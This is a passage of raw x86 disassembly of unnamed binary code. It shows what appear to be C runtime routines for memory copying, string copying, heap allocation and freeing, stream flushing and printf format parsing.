mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_410E14: ; CODE XREF: sub_410C50+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_410E48
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_410E3C
std
rep movsd
cld
jmp off_410F60[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_410E3C: ; CODE XREF: sub_410C50+1DDj
; sub_410C50+238j ...
neg ecx
jmp off_410F10[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_410E48: ; CODE XREF: sub_410C50+1D2j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_410E60
and eax, 3
sub ecx, eax
jmp dword ptr loc_410E60+4[eax*4]
; ---------------------------------------------------------------------------
loc_410E60: ; CODE XREF: sub_410C50+202j
; DATA XREF: sub_410C50+209r
jmp off_410F60[ecx*4]
; ---------------------------------------------------------------------------
align 4
jz short near ptr loc_410E73+5
inc ecx
add [eax-3FFFBEF2h], bl
push cs
inc ecx
loc_410E73: ; CODE XREF: sub_410C50+218j
add [edx-2EDCFCBAh], cl
mov [edi+3], al
sub esi, 1
shr ecx, 2
sub edi, 1
cmp ecx, 8
jb short loc_410E3C
std
rep movsd
cld
jmp off_410F60[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_410E3C
std
rep movsd
cld
jmp off_410F60[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_410E3C
std
rep movsd
cld
jmp off_410F60[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_410F14
dd offset loc_410F1C
dd offset loc_410F24
dd offset loc_410F2C
dd offset loc_410F34
dd offset loc_410F3C
dd offset loc_410F44
off_410F10 dd offset loc_410F57 ; DATA XREF: sub_410C50+1EEr
; ---------------------------------------------------------------------------
loc_410F14: ; DATA XREF: sub_410C50+2A4o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_410F1C: ; DATA XREF: sub_410C50+2A8o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_410F24: ; DATA XREF: sub_410C50+2ACo
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_410F2C: ; DATA XREF: sub_410C50+2B0o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_410F34: ; DATA XREF: sub_410C50+2B4o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_410F3C: ; DATA XREF: sub_410C50+2B8o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_410F44: ; DATA XREF: sub_410C50+2BCo
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_410F57: ; CODE XREF: sub_410C50+1EEj
; DATA XREF: sub_410C50:off_410F10o
jmp off_410F60[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_410F60 dd offset loc_410F70 ; DATA XREF: sub_410C50+1E3r
; sub_410C50:loc_410E60r ...
dd offset loc_410F78
dd offset loc_410F88
dd offset loc_410F9C
; ---------------------------------------------------------------------------
loc_410F70: ; CODE XREF: sub_410C50+1E3j
; sub_410C50:loc_410E60j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_410F78: ; CODE XREF: sub_410C50+1E3j
; sub_410C50:loc_410E60j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_410F88: ; CODE XREF: sub_410C50+1E3j
; sub_410C50:loc_410E60j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_410F9C: ; CODE XREF: sub_410C50+1E3j
; sub_410C50:loc_410E60j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_410C50 endp
; =============== S U B R O U T I N E =======================================
sub_410FB5 proc near ; CODE XREF: sub_40D873+31p
; sub_40D8D9+3Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_0]
push ebx
xor ebx, ebx
cmp ecx, ebx
push esi
push edi
jz short loc_410FCA
mov edi, [esp+0Ch+arg_4]
cmp edi, ebx
ja short loc_410FE5
loc_410FCA: ; CODE XREF: sub_410FB5+Bj
; sub_410FB5+3Aj
call sub_40F79E
push 16h
pop esi
mov [eax], esi
loc_410FD4: ; CODE XREF: sub_410FB5+5Dj
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40DCD8
add esp, 14h
mov eax, esi
jmp short loc_411016
; ---------------------------------------------------------------------------
loc_410FE5: ; CODE XREF: sub_410FB5+13j
mov esi, [esp+0Ch+arg_8]
cmp esi, ebx
jnz short loc_410FF1
mov [ecx], bl
jmp short loc_410FCA
; ---------------------------------------------------------------------------
loc_410FF1: ; CODE XREF: sub_410FB5+36j
mov edx, ecx
loc_410FF3: ; CODE XREF: sub_410FB5+49j
mov al, [esi]
mov [edx], al
inc edx
inc esi
cmp al, bl
jz short loc_411000
dec edi
jnz short loc_410FF3
loc_411000: ; CODE XREF: sub_410FB5+46j
cmp edi, ebx
jnz short loc_411014
mov [ecx], bl
call sub_40F79E
push 22h
pop ecx
mov [eax], ecx
mov esi, ecx
jmp short loc_410FD4
; ---------------------------------------------------------------------------
loc_411014: ; CODE XREF: sub_410FB5+4Dj
xor eax, eax
loc_411016: ; CODE XREF: sub_410FB5+2Ej
pop edi
pop esi
pop ebx
retn
sub_410FB5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41101A proc near ; CODE XREF: sub_411069+59p
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 0Ch
push offset dword_41F948
call __SEH_prolog4
and [ebp+var_1C], 0
mov esi, [ebp+arg_0]
cmp esi, dword_424EB4
ja short loc_411057
push 4
call sub_416DA6
pop ecx
and [ebp+ms_exc.disabled], 0
push esi
call sub_4175F3
pop ecx
mov [ebp+var_1C], eax
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_411060
loc_411057: ; CODE XREF: sub_41101A+19j
mov eax, [ebp+var_1C]
call __SEH_epilog4
retn
sub_41101A endp
; =============== S U B R O U T I N E =======================================
sub_411060 proc near ; CODE XREF: sub_41101A+38p
; DATA XREF: .vty:0041F960o
push 4
call sub_416CCE
pop ecx
retn
sub_411060 endp
; =============== S U B R O U T I N E =======================================
sub_411069 proc near ; CODE XREF: sub_40D873+1Fp
; sub_40D8D9+2Ap ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
cmp ebp, 0FFFFFFE0h
ja loc_411116
push ebx
mov ebx, dword_41C130
push esi
push edi
loc_411080: ; CODE XREF: sub_411069+94j
xor esi, esi
cmp dword_42487C, esi
mov edi, ebp
jnz short loc_4110A4
call sub_4143CC
push 1Eh
call sub_41422C
push 0FFh
call sub_4124E3
pop ecx
pop ecx
loc_4110A4: ; CODE XREF: sub_411069+21j
mov eax, dword_424EC4
cmp eax, 1
jnz short loc_4110BC
cmp ebp, esi
jz short loc_4110B6
mov eax, ebp
jmp short loc_4110B9
; ---------------------------------------------------------------------------
loc_4110B6: ; CODE XREF: sub_411069+47j
xor eax, eax
inc eax
loc_4110B9: ; CODE XREF: sub_411069+4Bj
push eax
jmp short loc_4110DA
; ---------------------------------------------------------------------------
loc_4110BC: ; CODE XREF: sub_411069+43j
cmp eax, 3
jnz short loc_4110CC
push ebp
call sub_41101A
cmp eax, esi
pop ecx
jnz short loc_4110E3
loc_4110CC: ; CODE XREF: sub_411069+56j
cmp ebp, esi
jnz short loc_4110D3
xor edi, edi
inc edi
loc_4110D3: ; CODE XREF: sub_411069+65j
add edi, 0Fh
and edi, 0FFFFFFF0h
push edi
loc_4110DA: ; CODE XREF: sub_411069+51j
push esi
push dword_42487C
call ebx ; RtlAllocateHeap
loc_4110E3: ; CODE XREF: sub_411069+61j
mov esi, eax
test esi, esi
jnz short loc_41110F
cmp dword_424D0C, eax
push 0Ch
pop edi
jz short loc_411101
push ebp
call sub_412B12
test eax, eax
pop ecx
jnz short loc_411080
jmp short loc_411108
; ---------------------------------------------------------------------------
loc_411101: ; CODE XREF: sub_411069+89j
call sub_40F79E
mov [eax], edi
loc_411108: ; CODE XREF: sub_411069+96j
call sub_40F79E
mov [eax], edi
loc_41110F: ; CODE XREF: sub_411069+7Ej
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_411116: ; CODE XREF: sub_411069+8j
push ebp
call sub_412B12
pop ecx
call sub_40F79E
mov dword ptr [eax], 0Ch
xor eax, eax
pop ebp
retn
sub_411069 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41112C proc near ; CODE XREF: sub_40D931+Fp sub_40DD8Aj ...
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 0041118B SIZE 0000002F BYTES
push 0Ch
push offset dword_41F968
call __SEH_prolog4
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_4111B4
cmp dword_424EC4, 3
jnz short loc_41118B
push 4
call sub_416DA6
pop ecx
and [ebp+ms_exc.disabled], 0
push esi
call sub_416E1F
pop ecx
mov [ebp+var_1C], eax
test eax, eax
jz short loc_41116B
push esi
push eax
call sub_416E4A
pop ecx
pop ecx
loc_41116B: ; CODE XREF: sub_41112C+34j
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_411182
cmp [ebp+var_1C], 0
jnz short loc_4111B4
push [ebp+arg_0]
jmp short loc_41118C
sub_41112C endp
; =============== S U B R O U T I N E =======================================
sub_411182 proc near ; CODE XREF: sub_41112C+46p
; DATA XREF: .vty:0041F980o
push 4
call sub_416CCE
pop ecx
retn
sub_411182 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41112C
loc_41118B: ; CODE XREF: sub_41112C+1Aj
push esi
loc_41118C: ; CODE XREF: sub_41112C+54j
push 0
push dword_42487C
call dword_41C12C ; RtlFreeHeap
test eax, eax
jnz short loc_4111B4
call sub_40F79E
mov esi, eax
call dword_41C0A4 ; RtlGetLastWin32Error
push eax
call sub_40F763
mov [esi], eax
pop ecx
loc_4111B4: ; CODE XREF: sub_41112C+11j
; sub_41112C+4Fj ...
call __SEH_epilog4
retn
; END OF FUNCTION CHUNK FOR sub_41112C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4111BA proc near ; CODE XREF: sub_40D9FB+9Fp
; sub_40F60D+A3p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_4]
push esi
call sub_414AB1
mov [ebp+arg_4], eax
mov eax, [esi+0Ch]
test al, 82h
pop ecx
jnz short loc_4111EA
call sub_40F79E
mov dword ptr [eax], 9
loc_4111DE: ; CODE XREF: sub_4111BA+3Fj
or dword ptr [esi+0Ch], 20h
or eax, 0FFFFFFFFh
jmp loc_411317
; ---------------------------------------------------------------------------
loc_4111EA: ; CODE XREF: sub_4111BA+17j
test al, 40h
jz short loc_4111FB
call sub_40F79E
mov dword ptr [eax], 22h
jmp short loc_4111DE
; ---------------------------------------------------------------------------
loc_4111FB: ; CODE XREF: sub_4111BA+32j
push ebx
xor ebx, ebx
test al, 1
jz short loc_411218
test al, 10h
mov [esi+4], ebx
jz loc_411292
mov ecx, [esi+8]
and eax, 0FFFFFFFEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_411218: ; CODE XREF: sub_4111BA+46j
mov eax, [esi+0Ch]
and eax, 0FFFFFFEFh
or eax, 2
test ax, 10Ch
mov [esi+0Ch], eax
mov [esi+4], ebx
mov [ebp+var_4], ebx
jnz short loc_41125C
call sub_413A82
add eax, 20h
cmp esi, eax
jz short loc_411248
call sub_413A82
add eax, 40h
cmp esi, eax
jnz short loc_411255
loc_411248: ; CODE XREF: sub_4111BA+80j
push [ebp+arg_4]
call sub_417AB6
test eax, eax
pop ecx
jnz short loc_41125C
loc_411255: ; CODE XREF: sub_4111BA+8Cj
push esi
call sub_417A72
pop ecx
loc_41125C: ; CODE XREF: sub_4111BA+74j
; sub_4111BA+99j
test word ptr [esi+0Ch], 108h
push edi
jz loc_4112E9
mov eax, [esi+8]
mov edi, [esi]
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
sub edi, eax
dec ecx
cmp edi, ebx
mov [esi+4], ecx
jle short loc_41129D
push edi
push eax
push [ebp+arg_4]
call sub_4149D5
add esp, 0Ch
mov [ebp+var_4], eax
jmp short loc_4112DF
; ---------------------------------------------------------------------------
loc_411292: ; CODE XREF: sub_4111BA+4Dj
or eax, 20h
mov [esi+0Ch], eax
or eax, 0FFFFFFFFh
jmp short loc_411316
; ---------------------------------------------------------------------------
loc_41129D: ; CODE XREF: sub_4111BA+C4j
mov ecx, [ebp+arg_4]
cmp ecx, 0FFFFFFFFh
jz short loc_4112C0
cmp ecx, 0FFFFFFFEh
jz short loc_4112C0
mov eax, ecx
and eax, 1Fh
imul eax, 28h
mov edx, ecx
sar edx, 5
add eax, dword_424EE0[edx*4]
jmp short loc_4112C5
; ---------------------------------------------------------------------------
loc_4112C0: ; CODE XREF: sub_4111BA+E9j
; sub_4111BA+EEj
mov eax, offset dword_423C68
loc_4112C5: ; CODE XREF: sub_4111BA+104j
test byte ptr [eax+4], 20h
jz short loc_4112DF
push 2
push ebx
push ebx
push ecx
call sub_417959
and eax, edx
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_411304
loc_4112DF: ; CODE XREF: sub_4111BA+D6j
; sub_4111BA+10Fj
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_4112FF
; ---------------------------------------------------------------------------
loc_4112E9: ; CODE XREF: sub_4111BA+A9j
xor edi, edi
inc edi
push edi
lea eax, [ebp+arg_0]
push eax
push [ebp+arg_4]
call sub_4149D5
add esp, 0Ch
mov [ebp+var_4], eax
loc_4112FF: ; CODE XREF: sub_4111BA+12Dj
cmp [ebp+var_4], edi
jz short loc_41130D
loc_411304: ; CODE XREF: sub_4111BA+123j
or dword ptr [esi+0Ch], 20h
or eax, 0FFFFFFFFh
jmp short loc_411315
; ---------------------------------------------------------------------------
loc_41130D: ; CODE XREF: sub_4111BA+148j
mov eax, [ebp+arg_0]
and eax, 0FFh
loc_411315: ; CODE XREF: sub_4111BA+151j
pop edi
loc_411316: ; CODE XREF: sub_4111BA+E1j
pop ebx
loc_411317: ; CODE XREF: sub_4111BA+2Bj
pop esi
leave
retn
sub_4111BA endp
; =============== S U B R O U T I N E =======================================
sub_41131A proc near ; CODE XREF: sub_41134D+11p
; sub_411371+22p ...
test byte ptr [ecx+0Ch], 40h
jz short loc_411326
cmp dword ptr [ecx+8], 0
jz short loc_41134A
loc_411326: ; CODE XREF: sub_41131A+4j
dec dword ptr [ecx+4]
js short loc_411336
mov edx, [ecx]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_411342
; ---------------------------------------------------------------------------
loc_411336: ; CODE XREF: sub_41131A+Fj
movsx eax, al
push ecx
push eax
call sub_4111BA
pop ecx
pop ecx
loc_411342: ; CODE XREF: sub_41131A+1Aj
cmp eax, 0FFFFFFFFh
jnz short loc_41134A
or [esi], eax
retn
; ---------------------------------------------------------------------------
loc_41134A: ; CODE XREF: sub_41131A+Aj
; sub_41131A+2Bj
inc dword ptr [esi]
retn
sub_41131A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41134D proc near ; CODE XREF: sub_4113BB+853p
; sub_4113BB+880p ...
arg_0 = byte ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
mov esi, eax
jmp short loc_411368
; ---------------------------------------------------------------------------
loc_411355: ; CODE XREF: sub_41134D+1Fj
mov ecx, [ebp+arg_8]
mov al, [ebp+arg_0]
dec [ebp+arg_4]
call sub_41131A
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_41136E
loc_411368: ; CODE XREF: sub_41134D+6j
cmp [ebp+arg_4], 0
jg short loc_411355
loc_41136E: ; CODE XREF: sub_41134D+19j
pop esi
pop ebp
retn
sub_41134D endp
; =============== S U B R O U T I N E =======================================
sub_411371 proc near ; CODE XREF: sub_4113BB+867p
; sub_4113BB+8CEp ...
arg_0 = dword ptr 4
test byte ptr [edi+0Ch], 40h
push ebx
push esi
mov esi, eax
mov ebx, ecx
jz short loc_4113B1
cmp dword ptr [edi+8], 0
jnz short loc_4113B1
mov eax, [esp+8+arg_0]
add [esi], eax
jmp short loc_4113B8
; ---------------------------------------------------------------------------
loc_41138B: ; CODE XREF: sub_411371+45j
mov al, [ebx]
dec [esp+8+arg_0]
mov ecx, edi
call sub_41131A
inc ebx
cmp dword ptr [esi], 0FFFFFFFFh
jnz short loc_4113B1
call sub_40F79E
cmp dword ptr [eax], 2Ah
jnz short loc_4113B8
mov ecx, edi
mov al, 3Fh
call sub_41131A
loc_4113B1: ; CODE XREF: sub_411371+Aj
; sub_411371+10j ...
cmp [esp+8+arg_0], 0
jg short loc_41138B
loc_4113B8: ; CODE XREF: sub_411371+18j
; sub_411371+35j
pop esi
pop ebx
retn
sub_411371 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=1F8h
sub_4113BB proc near ; CODE XREF: sub_40D9FB+80p
; sub_40F60D+84p
var_278 = dword ptr -278h
var_274 = dword ptr -274h
var_270 = dword ptr -270h
var_26C = dword ptr -26Ch
var_268 = dword ptr -268h
var_260 = dword ptr -260h
var_25C = byte ptr -25Ch
var_254 = dword ptr -254h
var_250 = byte ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_244 = dword ptr -244h
var_240 = dword ptr -240h
var_23C = dword ptr -23Ch
var_238 = dword ptr -238h
var_234 = dword ptr -234h
var_230 = byte ptr -230h
var_22F = byte ptr -22Fh
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_220 = dword ptr -220h
var_21C = dword ptr -21Ch
var_218 = dword ptr -218h
var_211 = byte ptr -211h
var_210 = dword ptr -210h
var_20C = byte ptr -20Ch
var_D = byte ptr -0Dh
var_C = byte ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
lea ebp, [esp-1F8h]
sub esp, 278h
mov eax, dword_4231C4
xor eax, ebp
mov [ebp+1F8h+var_4], eax
mov eax, [ebp+1F8h+arg_0]
push ebx
mov ebx, [ebp+1F8h+arg_4]
push esi
xor esi, esi
push edi
mov edi, [ebp+1F8h+arg_C]
push [ebp+1F8h+arg_8]
lea ecx, [ebp+1F8h+var_25C]
mov [ebp+1F8h+var_228], eax
mov [ebp+1F8h+var_224], edi
mov [ebp+1F8h+var_244], esi
mov [ebp+1F8h+var_210], esi
mov [ebp+1F8h+var_238], esi
mov [ebp+1F8h+var_218], esi
mov [ebp+1F8h+var_234], esi
mov [ebp+1F8h+var_248], esi
mov [ebp+1F8h+var_23C], esi
call sub_40F7E2
cmp [ebp+1F8h+var_228], esi
jnz short loc_411448
loc_41141B: ; CODE XREF: sub_4113BB+E5j
; sub_4113BB+138j ...
call sub_40F79E
push esi
push esi
push esi
push esi
mov dword ptr [eax], 16h
push esi
loc_41142B: ; CODE XREF: sub_4113BB+948j
call sub_40DCD8
add esp, 14h
cmp [ebp+1F8h+var_250], 0
jz short loc_411440
mov eax, [ebp+1F8h+var_254]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_411440: ; CODE XREF: sub_4113BB+7Cj
or eax, 0FFFFFFFFh
jmp loc_411D18
; ---------------------------------------------------------------------------
loc_411448: ; CODE XREF: sub_4113BB+5Ej
mov eax, [ebp+1F8h+var_228]
test byte ptr [eax+0Ch], 40h
jnz loc_4114F9
push eax
call sub_414AB1
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_411497
push [ebp+1F8h+var_228]
call sub_414AB1
cmp eax, 0FFFFFFFEh
pop ecx
jz short loc_411497
push [ebp+1F8h+var_228]
call sub_414AB1
push [ebp+1F8h+var_228]
sar eax, 5
lea esi, ds:424EE0h[eax*4]
call sub_414AB1
and eax, 1Fh
imul eax, 28h
add eax, [esi]
pop ecx
pop ecx
xor esi, esi
jmp short loc_41149C
; ---------------------------------------------------------------------------
loc_411497: ; CODE XREF: sub_4113BB+A4j
; sub_4113BB+B2j
mov eax, offset dword_423C68
loc_41149C: ; CODE XREF: sub_4113BB+DAj
test byte ptr [eax+24h], 7Fh
jnz loc_41141B
push [ebp+1F8h+var_228]
call sub_414AB1
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_4114EA
push [ebp+1F8h+var_228]
call sub_414AB1
cmp eax, 0FFFFFFFEh
pop ecx
jz short loc_4114EA
push [ebp+1F8h+var_228]
call sub_414AB1
push [ebp+1F8h+var_228]
sar eax, 5
lea esi, ds:424EE0h[eax*4]
call sub_414AB1
and eax, 1Fh
imul eax, 28h
add eax, [esi]
pop ecx
pop ecx
xor esi, esi
jmp short loc_4114EF
; ---------------------------------------------------------------------------
loc_4114EA: ; CODE XREF: sub_4113BB+F7j
; sub_4113BB+105j
mov eax, offset dword_423C68
loc_4114EF: ; CODE XREF: sub_4113BB+12Dj
test byte ptr [eax+24h], 80h
jnz loc_41141B
loc_4114F9: ; CODE XREF: sub_4113BB+94j
cmp ebx, esi
jz loc_41141B
mov dl, [ebx]
xor ecx, ecx
test dl, dl
mov [ebp+1F8h+var_22C], esi
mov [ebp+1F8h+var_220], esi
mov [ebp+1F8h+var_24C], esi
mov [ebp+1F8h+var_211], dl
jz loc_411D08
loc_411519: ; CODE XREF: sub_4113BB+931j
inc ebx
cmp [ebp+1F8h+var_22C], 0
mov [ebp+1F8h+var_240], ebx
jl loc_411D08
mov al, dl
sub al, 20h
cmp al, 58h
ja short loc_411540
movsx eax, dl
movzx eax, byte_41C368[eax]
and eax, 0Fh
xor esi, esi
jmp short loc_411544
; ---------------------------------------------------------------------------
loc_411540: ; CODE XREF: sub_4113BB+172j
xor esi, esi
xor eax, eax
loc_411544: ; CODE XREF: sub_4113BB+183j
movsx eax, byte_41C388[ecx+eax*8]
push 7
sar eax, 4
pop ecx
cmp eax, ecx ; switch 8 cases
mov [ebp+1F8h+var_26C], eax
ja loc_411CD8 ; default
jmp off_411D33[eax*4] ; switch jump
loc_411564: ; DATA XREF: .vty:off_411D33o
or [ebp+1F8h+var_218], 0FFFFFFFFh ; jumptable 0041155D case 1
mov [ebp+1F8h+var_270], esi
mov [ebp+1F8h+var_248], esi
mov [ebp+1F8h+var_238], esi
mov [ebp+1F8h+var_234], esi
mov [ebp+1F8h+var_210], esi
mov [ebp+1F8h+var_23C], esi
jmp loc_411CD8 ; default
; ---------------------------------------------------------------------------
loc_41157F: ; CODE XREF: sub_4113BB+1A2j
; DATA XREF: .vty:off_411D33o
movsx eax, dl ; jumptable 0041155D case 2
sub eax, 20h
jz short loc_4115C5
sub eax, 3
jz short loc_4115B9
sub eax, 8
jz short loc_4115B0
dec eax
dec eax
jz short loc_4115A7
sub eax, 3
jnz loc_411CD8 ; default
or [ebp+1F8h+var_210], 8
jmp loc_411CD8 ; default
; ---------------------------------------------------------------------------
loc_4115A7: ; CODE XREF: sub_4113BB+1D8j
or [ebp+1F8h+var_210], 4
jmp loc_411CD8 ; default
; ---------------------------------------------------------------------------
loc_4115B0: ; CODE XREF: sub_4113BB+1D4j
or [ebp+1F8h+var_210], 1
jmp loc_411CD8 ; default
; ---------------------------------------------------------------------------
loc_4115B9: ; CODE XREF: sub_4113BB+1CFj
or [ebp+1F8h+var_210], 80h
jmp loc_411CD8 ; default
; ---------------------------------------------------------------------------
loc_4115C5: ; CODE XREF: sub_4113BB+1CAj
or [ebp+1F8h+var_210], 2
jmp loc_411CD8 ; default
; ---------------------------------------------------------------------------
loc_4115CE: ; CODE XREF: sub_4113BB+1A2j
; DATA XREF: .vty:off_411D33o
cmp dl, 2Ah ; jumptable 0041155D case 3
jnz short loc_4115F3
add edi, 4
mov [ebp+1F8h+var_224], edi
mov edi, [edi-4]
cmp edi, esi
mov [ebp+1F8h+var_238], edi
jge loc_411CD8 ; default
or [ebp+1F8h+var_210], 4
neg [ebp+1F8h+var_238]
jmp loc_411CD8 ; default
; ---------------------------------------------------------------------------
loc_4115F3: ; CODE XREF: sub_4113BB+216j
mov eax, [ebp+1F8h+var_238]
imul eax, 0Ah
movsx ecx, dl
lea eax, [eax+ecx-30h]
mov [ebp+1F8h+var_238], eax
jmp loc_411CD8 ; default
; ---------------------------------------------------------------------------
loc_411608: ; CODE XREF: sub_4113BB+1A2j
; DATA XREF: .vty:off_411D33o
mov [ebp+1F8h+var_218], esi ; jumptable 0041155D case 4
jmp loc_411CD8 ; default
; ---------------------------------------------------------------------------
loc_411610: ; CODE XREF: sub_4113BB+1A2j
; DATA XREF: .vty:off_411D33o
cmp dl, 2Ah ; jumptable 0041155D case 5
jnz short loc_411632
add edi, 4
mov [ebp+1F8h+var_224], edi
mov edi, [edi-4]
cmp edi, esi
mov [ebp+1F8h+var_218], edi
jge loc_411CD8 ; default
or [ebp+1F8h+var_218], 0FFFFFFFFh
jmp loc_411CD8 ; default
; ---------------------------------------------------------------------------
loc_411632: ; CODE XREF: sub_4113BB+258j
mov eax, [ebp+1F8h+var_218]
imul eax, 0Ah
movsx ecx, dl
lea eax, [eax+ecx-30h]
mov [ebp+1F8h+var_218], eax
jmp loc_411CD8 ; default
; ---------------------------------------------------------------------------
loc_411647: ; CODE XREF: sub_4113BB+1A2j
; DATA XREF: .vty:off_411D33o
cmp dl, 49h ; jumptable 0041155D case 6
jz short loc_411692
cmp dl, 68h
jz short loc_411689
cmp dl, 6Ch
jz short loc_41166B
cmp dl, 77h
jnz loc_411CD8 ; default
or [ebp+1F8h+var_210], 800h
jmp loc_411CD8 ; default
; ---------------------------------------------------------------------------
loc_41166B: ; CODE XREF: sub_4113BB+299j
cmp byte ptr [ebx], 6Ch
jnz short loc_411680
inc ebx
or [ebp+1F8h+var_210], 1000h
mov [ebp+1F8h+var_240], ebx
jmp loc_411CD8 ; default
; ---------------------------------------------------------------------------
loc_411680: ; CODE XREF: sub_4113BB+2B3j
or [ebp+1F8h+var_210], 10h
jmp loc_411CD8 ; default
; ---------------------------------------------------------------------------
loc_411689: ; CODE XREF: sub_4113BB+294j
or [ebp+1F8h+var_210], 20h
jmp loc_411CD8 ; default
; ---------------------------------------------------------------------------
loc_411692: ; CODE XREF: sub_4113BB+28Fj
mov al, [ebx]
cmp al, 36h
jnz short loc_4116AF
cmp byte ptr [ebx+1], 34h
jnz short loc_4116AF
inc ebx
inc ebx
or [ebp+1F8h+var_210], 8000h
mov [ebp+1F8h+var_240], ebx
jmp loc_411CD8 ; default
; ---------------------------------------------------------------------------
loc_4116AF: ; CODE XREF: sub_4113BB+2DBj
; sub_4113BB+2E1j
cmp al, 33h
jnz short loc_4116CA
cmp byte ptr [ebx+1], 32h
jnz short loc_4116CA
inc ebx
inc ebx
and [ebp+1F8h+var_210], 0FFFF7FFFh
mov [ebp+1F8h+var_240], ebx
jmp loc_411CD8 ; default
; ---------------------------------------------------------------------------
loc_4116CA: ; CODE XREF: sub_4113BB+2F6j
; sub_4113BB+2FCj
cmp al, 64h
jz loc_411CD8 ; default
cmp al, 69h
jz loc_411CD8 ; default
cmp al, 6Fh
jz loc_411CD8 ; default
cmp al, 75h
jz loc_411CD8 ; default
cmp al, 78h
jz loc_411CD8 ; default
cmp al, 58h
jz loc_411CD8 ; default
mov [ebp+1F8h+var_26C], esi
loc_4116FD: ; CODE XREF: sub_4113BB+1A2j
; DATA XREF: .vty:off_411D33o
lea eax, [ebp+1F8h+var_25C] ; jumptable 0041155D case 0
push eax
movzx eax, dl
push eax
mov [ebp+1F8h+var_23C], esi
call sub_413988
pop ecx
test eax, eax
mov al, [ebp+1F8h+var_211]
pop ecx
jz short loc_41172F
mov ecx, [ebp+1F8h+var_228]
lea esi, [ebp+1F8h+var_22C]
call sub_41131A
mov al, [ebx]
inc ebx
test al, al
mov [ebp+1F8h+var_240], ebx
jz loc_411CF1
loc_41172F: ; CODE XREF: sub_4113BB+359j
mov ecx, [ebp+1F8h+var_228]
lea esi, [ebp+1F8h+var_22C]
call sub_41131A
jmp loc_411CD8 ; default
; ---------------------------------------------------------------------------
loc_41173F: ; CODE XREF: sub_4113BB+1A2j
; DATA XREF: .vty:off_411D33o
movsx eax, dl ; jumptable 0041155D case 7
cmp eax, 64h
jg loc_4118BD
jz loc_41193C
cmp eax, 53h
jg loc_411805
jz short loc_4117B6
sub eax, 41h
jz short loc_411771
dec eax
dec eax
